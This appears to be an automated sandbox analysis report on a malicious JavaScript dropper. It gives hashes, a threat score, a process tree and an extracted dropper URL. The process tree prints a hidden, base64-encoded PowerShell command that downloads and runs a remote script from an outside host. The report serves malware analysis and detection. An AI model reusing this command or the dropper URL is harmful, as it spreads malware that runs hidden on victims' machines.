Analysis

  • max time kernel
    118s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2023 03:57

General

  • Target

    ½ļ/15.js

  • Size

    31KB

  • MD5

    f3df9c96c3f90fb7bf5ffb9320820582

  • SHA1

    0b7df9e161f222d97ea3f1d883905b9e7a9cdb8a

  • SHA256

    13b0a2053f919fed877fb4ecb4cae691265456d59d2b871350512378fc847eb1

  • SHA512

    9637e6c478d20c2837004d16e4c5f0643433cddc01f54a42bdedbbbcb8132bdcceb7327e5f8b816819f929336683f638189c7b263fb91847bda279f7966c0c94

  • SSDEEP

    384:cEuWtagf971+6eCbrsBc3hlK5M1j2JBvlg/UjubUYDFQJ9W6qBwkosZjN:cCNA6etc3kGClWpbpx4W6Mwkh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pipecoasia.com/f1.ps1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\15.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c PowErshell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBwAGkAcABlAGMAbwBhAHMAaQBhAC4AYwBvAG0ALwBmADEALgBwAHMAMQAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowErshell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBwAGkAcABlAGMAbwBhAHMAaQBhAC4AYwBvAG0ALwBmADEALgBwAHMAMQAiACkA
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2712-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2712-6-0x0000000002300000-0x0000000002308000-memory.dmp

    Filesize

    32KB

  • memory/2712-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2712-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2712-9-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-10-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-11-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-12-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-13-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2712-14-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-15-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-16-0x0000000002570000-0x00000000025F0000-memory.dmp

    Filesize

    512KB

  • memory/2712-17-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB